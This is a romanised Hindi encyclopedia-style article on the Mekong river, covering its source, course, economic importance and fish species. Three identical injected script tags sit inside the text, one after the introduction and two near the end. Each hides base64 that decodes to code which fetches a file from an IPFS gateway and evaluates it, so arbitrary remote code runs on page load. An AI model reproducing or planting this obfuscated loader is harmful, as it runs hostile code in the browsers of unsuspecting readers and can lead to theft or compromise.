मेकांग नदी
mekaang nadi vishv ki pramukh nadiyoan mean se ek hai. yah tibbat se shuroo hokar chin ke yunan prant, myaanmar, thaeelaiand, laos tatha kambodiya se hokar bahati hai. lanbaee ke anusar yah vishv ki terahavian lambi nadi hai aur pravah ke ayatan dar ke anusar dasavian nadi hai. bahav mean aniyamitata tatha jalaprapatoan ki vazah se isaka adhikaansh bhag naukaoan ke liye agamy hai. dakshin-poorvi eshiya ki arthik halat ko behatar banane mean mekaang nadi ek aham bhoomika nibhati hai. mekaang nadi mean machhaliyoan ki 1,200 jatiyaan payi jati haian. inamean se kuchh jati ki machhaliyoan ko, sath hi jhiangoan ko bhi bechane ke lie pala jata hai.[1]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahav kshetr
mekaang ek aisi nadi hai, jo eshiya ke chhah deshoan se bahakar jati hai aur is par qarib 10 karo d log nirbhar haian. ye log takariban 100 adivasi samoohoan aur doosare desh ki jatiyoan se haian. har sal is nadi se 13 lakh tan machhaliyaan pak di jati haian, yani briten ke uttar sagar mean pak di jane vali machhaliyoan se char guna zyada. yah nadi 4,350 kilomitar ka saphar tay karati hai, isalie ise dakshin-poorvi eshiya ki sabase lanbi nadi kaha jata hai; aur kyoanki yah kee deshoan se bahakar jati hai, isalie ise kee nam die ge haian. unamean se 'mekaang' nam sabase jana-pahachana hai. yah nam thaee bhasha mean 'me' nam 'k aaung’ ka chhota nam hai.
udgam
mekaang nadi himalay ki ooanchaee se phootakar nikalati hai aur jharajhar karake paha doan ki dhalanoan se niche utarakar gahari ghatiyoan mean b di tezi se bahane lagati hai. mekaang apana adha saphar chin mean hi tay kar leti hai, jahaan vah ‘lantasang’ nam se jani jati hai. vahaan vah 15,000 phut ki ooanchaee se niche ki or bahati hai. magar ek bar jab vah chin se nikal jati hai, to sirph 1,600 phut ki ooanchaee se niche ki taraph bahati hai. isalie yahaan se nadi ki dhara dhimi ho jati hai. chin se nikalane ke bad yah nadi myaanmar aur laos ki sima banakar unhean alag karati hai aur kafi had tak laos aur thaeelaiand ki bhi sima thaharati hai. kambodiya mean yah nadi do upanadiyoan mean bant jati hai aur jab ye upanadiyaan viyatanam mean bahati haian, to aur bhi chhoti-chhoti dharaean banakar dakshin chin sagar se ja milati haian.[1]
arthik mahattv
dakshin-poorvi eshiya ki arthik halat ko behatar banane mean mekaang nadi ek aham bhoomika nibhati hai. laos ki rajadhani 'vieanshien' aur kambodiya ki rajadhani 'nam pen' donoan isi nadi par base bandaragah shahar haian. nadi ke muhane ke pas mekaang viyatanam ke logoan ke lie bhi bahut ahamiyat rakhati hai. vahaan mekaang sat dharaoan mean alag ho jati hai aur 25,000 varg kilomitar tak phaila ek delta banati hai. anuman lagaya jata hai ki ye dharaean kul milakar 3,200 kilomitar lanbi haian. pani ki koee kami n hone ki vajah se isake as-pas ke maidanoan aur dhan ke khetoan ki achchhi sianchaee hoti hai aur unhean beshakimati baloo-mitti bhi milati hai. isase kisan har sal tin bar chaval ki phasal uga pate haian. ji haan, thaeelaiand ke bad viyatanam aisa doosara desh hai, jo duniya-bhar mean is mukhy ahar ka niryat karata hai.
machhaliyoan ki jatiyaan
anuman lagaya jata hai ki mekaang nadi mean machhaliyoan ki 1,200 jatiyaan payi jati haian. inamean se kuchh jati ki machhaliyoan ko, sath hi jhiangoan ko bhi bechane ke lie pala jata hai. mekaang mean ‘tre riel’ nam ki machhali ek anokhi vajah se behad mashahoor hai. vah yah ki kambodiya ki mudra 'riel' ka nam isi machhali se p da. yahaan kaitaphish machhali ki ek aisi jati bhi payi jati hai, jo nau phut tak lanbi ho sakati hai. yah jati dhire-dhire lupt ho rahi hai. san 2005 mean machhuvaroan ne 290 ki.gra. ka ek kaitaphish pak da tha. itani b di machhali shayad hi duniya ki kisi nadi mean payi gayi ho. mekaang mean payi jane vali ek aur jati ke lupt hone ka bhi khatara hai aur vah hai- 'iravadi d aaulaphin'. khojakartaoan ka kahana hai ki ab is nadi mean shayad 100 se bhi kam d aaulaphin rah gayi haian.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 mekaang nadi (hindi). . abhigaman tithi: 15 mee, 2014.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>